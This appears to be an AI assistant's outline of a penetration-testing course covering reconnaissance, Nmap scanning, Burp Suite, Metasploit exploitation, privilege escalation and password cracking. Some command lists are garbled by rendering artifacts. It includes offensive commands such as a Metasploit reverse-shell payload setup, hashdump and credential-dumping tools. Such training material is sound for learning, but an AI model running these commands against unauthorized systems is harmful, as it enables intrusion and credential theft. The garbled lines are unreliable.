Complete Practical Cybersecurity Course
Focus: Information Gathering → Network Scanning → Vulnerability Assessment → Penetration Testing
(Tools-heavy, Linux-centric, with deep coverage of Nmap, Burp Suite, Metasploit and other high-impact tools)
Course Philosophy & Rules
- Everything is taught for authorized, ethical use only (labs, your own systems, bug-bounty programs with permission, or CTF platforms). Unauthorized testing is illegal.
- Preferred environment: Kali Linux (or Parrot OS). All major tools come pre-installed or are one
apt installaway. - Hands-on first. Theory is kept short and immediately applied.
Module 0 – Setup & Essential Linux Foundation (1–2 days)
Must-know Linux commands (use these constantly):
1[object Object], 2,[object Object],, ,[object Object], -la, ,[object Object],, ,[object Object],, ,[object Object],, ,[object Object],, ,[object Object], -rf, find / -name ,[object Object], 2>/dev/null 3,[object Object], 4ifconfig / ip a, ip r, route -n, netstat -tulnp, ss -tulnp 5,[object Object], 6ps aux, top/htop, ,[object Object], -l, ,[object Object],, ,[object Object], 7,[object Object], 8grep -R ,[object Object], ., ,[object Object],, less, ,[object Object],, ,[object Object],, awk, sed, ,[object Object], 9,[object Object], 10ping, traceroute/tracert, dig, host, nslookup, whois 11,[object Object], 12wget, curl, scp, nc (netcat – the Swiss army knife) 13,[object Object], 14apt update && apt install <tool>, systemctl status/start/stop
Power tips:
- Pipe everything:
nmap ... | tee scan.txt - Background jobs:
command &+jobs+fg - History search:
Ctrl+R - Become root when needed:
sudo suorsudo -i
Install extra power tools if missing:
1[object Object], apt update 2,[object Object], apt install -y nmap masscan nikto sqlmap gobuster dirb dirbuster whatweb wpscan hydra john hashcat wireshark tshark metasploit-framework burpsuite
Module 1 – Information Gathering / Reconnaissance (Passive + Active)
Goal: Collect maximum intelligence without (or with minimal) noise.
Passive tools (stealthy):
whois domain.comdig domain.com ANY+dig domain.com MX NS TXTtheHarvester -d target.com -b allrecon-ng(powerful framework)shodan/censys(web + CLI)- Google dorks, GitHub dorking, Wayback Machine
amass enum -d target.com(subdomain king)subfinder,assetfinder,findomain
Active / semi-active:
whatweb target.comwafw00f target.com(detect WAF)curl -I https://target.com+ advanced headers
Output organization: Always save results systematically (mkdir recon; cd recon).
Module 2 – Network Scanning & Enumeration (Core of the course)
King tool: Nmap (learn it deeply – it is non-negotiable)
Essential Nmap commands (progress from quiet to aggressive):
1[object Object], 2nmap -sn 192.168.1.0/24 3nmap -PE -PP -PS80,443 -PU -sn 10.0.0.0/24 4 5,[object Object], 6nmap -sS -p- -T4 target ,[object Object], 7nmap -sT -p 1-1000 target ,[object Object], 8nmap -sU --top-ports 100 target ,[object Object], 9nmap -sV -sC -O -p- target ,[object Object], 10nmap -A -T4 target ,[object Object], 11 12,[object Object], 13nmap --script=vuln target 14nmap --script=exploit target 15nmap --script=auth,brute target 16nmap --script=http-enum,http-title,ssl-enum-ciphers -p 80,443 target 17 18,[object Object], 19nmap -oA fullscan target ,[object Object], 20nmap -oX scan.xml target && xsltproc scan.xml -o scan.html
Speed monsters:
masscan -p1-65535 --rate=10000 192.168.1.0/24(then feed open ports to Nmap)rustscan -a target -- -sV -sC
Service enumeration after Nmap:
- SMB:
enum4linux -a,smbmap,crackmapexec smb - NFS:
showmount -e - SNMP:
snmpwalk,onesixtyone - DNS:
dnsenum,fierce - Web: next module
Module 3 – Vulnerability Assessment
Workflow: Scan → Identify versions → Map to CVEs → Confirm.
Tools that deliver the highest value:
- Nmap NSE (
--script=vuln) - Nikto –
nikto -h https://target -o nikto.txt - Nuclei (modern, template-based – extremely powerful)
1nuclei -u https://target -t cves/ -t vulnerabilities/ -o nuclei.txt - OpenVAS / Greenbone or Nessus (full vulnerability scanners)
- WPScan (WordPress), droopescan (Drupal/Joomla)
- Searchsploit (local Exploit-DB)
1searchsploit apache 2.4.49 2searchsploit -m 50514 ,[object Object],
Always cross-check findings manually. Automated tools produce false positives.
Module 4 – Web Application Testing (Burp Suite Deep Dive)
Burp Suite is the most important tool for web app penetration testing.
Core workflow:
- Configure browser proxy (127.0.0.1:8080) + install Burp CA certificate.
- Turn Intercept on → browse the application → map the attack surface (Target → Site map).
- Proxy → Intercept & modify requests live.
- Repeater – send request → tweak → observe response (most used tool after Proxy).
- Intruder – brute-force, fuzz parameters, password spraying (use payload positions carefully).
- Scanner (Pro) or run passive + active scans.
- Decoder, Comparer, Sequencer, Extender (install useful extensions: Autorize, Logger++, Param Miner, Turbo Intruder, Retire.js, etc.).
Complementary web tools:
gobuster dir -u https://target -w /usr/ share/ wordlists/ dirb/common.txt -x php,txt,bakffuf -u https://target/FUZZ -w wordlist.txtsqlmap -u "https://target/page?id=1" --batch --dbs(or better: feed Burp request to sqlmap)xsstrike,dalfox(XSS)- Browser DevTools + manual testing (never rely only on tools)
Module 5 – Exploitation & Post-Exploitation (Metasploit Focus)
Metasploit Framework is still the most powerful all-in-one exploitation framework.
Essential commands:
1msfconsole 2search ,[object Object],:exploit platform:linux name:apache 3use exploit/multi/http/... 4,[object Object], RHOSTS target 5,[object Object], PAYLOAD linux/x64/meterpreter/reverse_tcp 6,[object Object], LHOST your-ip 7,[object Object], LPORT 4444 8exploit / run 9 10,[object Object], 11sessions -l 12sessions -i 1 13meterpreter> sysinfo, getuid, hashdump, shell, upload, download, migrate, etc.
Other high-value exploitation tools:
- Manual exploits from searchsploit + Python/Ruby/Perl
msfvenomfor custom payloads- Privilege escalation:
linpeas.sh,winpeas,Linux Exploit Suggester,pspy - Lateral movement: CrackMapExec, Impacket suite (
psexec.py,wmiexec.py,secretsdump.py), Evil-WinRM - Password attacks:
hydra,medusa,john,hashcat(GPU),crackmapexec
Module 6 – Wireless, Password Cracking & Extra High-Impact Tools
- Wireless:
airmon-ng,airodump-ng,aireplay-ng,aircrack-ng,wifite,bettercap - Password cracking: Hashcat (rule-based, masks, hybrid) > John
- Network MITM / traffic: Wireshark, tshark, Bettercap, Ettercap, Responder
- Container / Cloud basics (growing importance):
kube-hunter,trivy, AWS/Azure/GCP CLI tools
Module 7 – Reporting, Methodology & Career Path
Always follow a structured methodology (PTES, OWASP Testing Guide, OSSTMM, or NIST).
Report structure:
- Executive summary
- Scope & rules of engagement
- Findings (Critical → High → Medium → Low) with CVSS, evidence, screenshots, remediation
- Conclusion & recommendations
Practice platforms (start immediately):
- TryHackMe (beginner → intermediate paths)
- Hack The Box
- PortSwigger Web Security Academy (best free Burp training)
- VulnHub, OverTheWire, PentesterLab
- Local labs: Metasploitable 2/3, DVWA, Juice Shop, Hackable VMs
Recommended learning order:
- Linux + Networking fundamentals
- Nmap mastery + basic scripting
- Burp Suite + web vulnerabilities (OWASP Top 10)
- Metasploit + manual exploitation
- Privilege escalation + Active Directory (if Windows focus)
- Bug bounty / real-world methodology
Highest-ROI Tools Summary (Master these first)
| Rank | Tool | Primary Use | Why Critical |
|---|---|---|---|
| 1 | Nmap | Network discovery & scanning | Foundation of almost every test |
| 2 | Burp Suite | Web application testing | Unmatched for HTTP analysis |
| 3 | Metasploit | Exploitation & post-exploitation | Fastest path from vuln → shell |
| 4 | Nuclei / Nikto | Vulnerability scanning | High coverage, modern templates |
| 5 | Gobuster / FFuf | Content discovery | Finds hidden attack surface |
| 6 | sqlmap | SQL injection | Automates complex SQLi |
| 7 | Impacket + CME | Windows / AD attacks | Real-world network dominance |
| 8 | Hashcat / John | Password cracking | Credential access |
| 9 | Wireshark | Traffic analysis | Deep packet insight |
| 10 | Amass / Subfinder | Asset discovery | Modern recon |
This course structure gives you a complete, practical, tool-powered path from zero to competent penetration tester / security assessor. Start with Module 0 + Nmap, then move to Burp and Metasploit. Practice every command in a lab before touching real targets.
If you want any module expanded into full command cheatsheets, lab walkthroughs, or a specific tool deep-dive (e.g., advanced Burp Intruder payloads, Metasploit post modules, or AD attack chains), just tell me which part to expand next.